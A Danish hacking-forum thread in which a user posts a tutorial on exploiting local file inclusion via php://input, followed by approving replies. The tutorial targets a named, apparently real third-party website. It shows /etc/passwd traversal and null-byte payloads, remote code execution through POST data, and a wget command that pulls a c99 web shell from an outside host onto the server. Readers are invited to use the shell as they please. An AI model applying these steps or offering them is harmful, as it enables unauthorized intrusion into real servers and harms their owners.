Tutorial: Lfi via php:://input

[R3dpill]

Introduktion til lfi

Lfi står for local file inclusion og er en sårbarhed der kan opstå i include()-keywordet. Når man tester for lfi sårbarheder, har man typisk et url med en funktion, som eksempelvis kan se sådan her ud

www.site.com/index.php?page=main.php
www.site.com/index.php?page=contact.php
www.site.com/index.php?page=about.php

osv, osv...

Test af lfi sårbarheder

Første trin for at tjekke efter mulige lfi sårbarheder kan være at ændre på variablen som man ønkser, kan eksempelvis gøres via et simpelt ' som når man tester for sqli. Hvis man gør dette, vil en side med lfi/rfi-sårbarhed oftest give en fejlkode ala:
Warning: include(værdien du satte ind i variablen) [function.include]: failed to open stream: No such file or directory in /home/blablabla/public_html/index.php on line X

At siden giver en fejlkode betyder dog ikke at den er sårbar, og en side kan sagtens være sårbar uden at give en inclusion error, men det er en fin lille tommelfingerregel til lige at teste, inden man går i gang

De metoder der oftest bliver udnyttet er via /proc/self/environ og php://input, som vi skal lege med på vores forsøgskanin længere nede. Husk også på, at der nogle gange skal tilføjes %00 efter, så /etc/passwd bliver /etc/passwd%00, og nogle gange skal man også kigge directories igennem ved at skrive ../etc/passwd, ../../etc/passwd osv.

For at teste file inclusion sårbarheder kan man evt. bruge fimap til formålet, som jeg tidligere har givet en hurtig introduktion til i http://www.shellsec.pw/showthread.php?tid=1073

udnyttelse af lfi

krav:
firefox browser
hackbar til firefox

Som en del af øvelsen har jeg fundet en sårbar side, som vi kan bruge til at gennemgå vores øvelse
www.otc78.com/index.php?page=FR/garne/garne.html

ved at teste for /etc/passwd kan vi bekræfte vores file inclusion sårbarhed, men desværre har vi intet resultat i /proc/self/environ



Nu er det så tid til at teste efter om vi kan udnytte php://input! Dette gøres ved at loade vores url i hackbar og teste for RCE (Remote code execution) i Post data feltet. Hvis vi skriver <? system('ls'); ?> vil vi se, at serveren svarer på ”ls”-kommandoen, som viser filerne i directory. På billedet nedenunder kan I se hvad jeg mener og hvordan det gerne skulle se ud i jeres browser



shell

Nu kommer det sjove endelig! Da vi kan se, at RCE virker fint gennem vores file inclusion-fejl, kan vi nu lægge et shell op. Der findes en del forskellige man kan vælge frit fra, men vi vælger bare c99, da det er en populær favorit hos mange og er yderst brugervenligt. Ligesom før skriver vi i Post data feltet:

<? system('wget http://www.sh3ll.org/c99.txt -O shell.php');?>

Her kan I selv ændre url til jeres foretrukne shell og vælge, hvad navnet på jeres shell skal være

Hvis alt er gået som det skal, så burde I meget gerne have et shell liggende på www.otc78.com/shell.php som I kan bruge til hvad I vil



PS: Jeg vil gerne bede folk om at lade være med at deface, ødelægge eller rm -rf den. Læg jeres shell op, ryd op og lad serveren hvile i fred, så den næste person der læser dette kan lære lidt i stedet for at admin patcher fejlen med det samme. Jeg håber at der er nogen herinde, der kunne bruge dette til noget, og hvis der er mange der stadig er nye indenfor lfi, kan jeg hurtigt lave en vejledning til, hvordan man bruger /proc/self/environ til at lave RCE vis tamper data i user agent. Hvis folk synes jeg mangler at uddybe noget, så må I gerne give noget feedback, og så kan jeg evt. tilføje lidt mere hvis det skulle være nødvendigt

[Lycia]

Super fin guide! :d Og godt at du har lavet en anden guide (fin map

[Doctor Blue]

Fin guide.
Jeg savner et afsnit om hvordan man undgår LFI og evt hvad man kan gøre for at begrænse skaderne hvis det endelig skulle gå helt galt (Dedikeret bruger til webserveren, korrekte permissions, deaktivere exec og system mm.).
Du kunne også godt tilføje lidt eksempelkode. Hvordan ser den sårbare kode ud? Hvad kommer der til at stå når man skriver /etc/passwd i GET variablen?
I øvrigt er include ikke en funktion, men et keyword.

Det bruges korrekt som flg.

include "dir/file.php";

Bemærk at der ikke bruges paranteser.

[R3dpill]

Fin guide.
Jeg savner et afsnit om hvordan man undgår LFI og evt hvad man kan gøre for at begrænse skaderne hvis det endelig skulle gå helt galt (Dedikeret bruger til webserveren, korrekte permissions, deaktivere exec og system mm.).
Du kunne også godt tilføje lidt eksempelkode. Hvordan ser den sårbare kode ud? Hvad kommer der til at stå når man skriver /etc/passwd i GET variablen?
I øvrigt er include ikke en funktion, men et keyword.

Det bruges korrekt som flg.

include "dir/file.php";

Bemærk at der ikke bruges paranteser.

tak for feedback, jeg retter det lige :) Det er meget rigtigt det med, hvordan sårbar kode ser ud, men jeg har ikke rodet så meget med php, så sprang det bare over so far. Kan være jeg finder en online vejledning og enten låner lidt fra eller henter inspiration til at udvide den her, når jeg lige får tid :P

[kiksen]

Fed guide til lfi, rigtig begynder og HQ skrevet!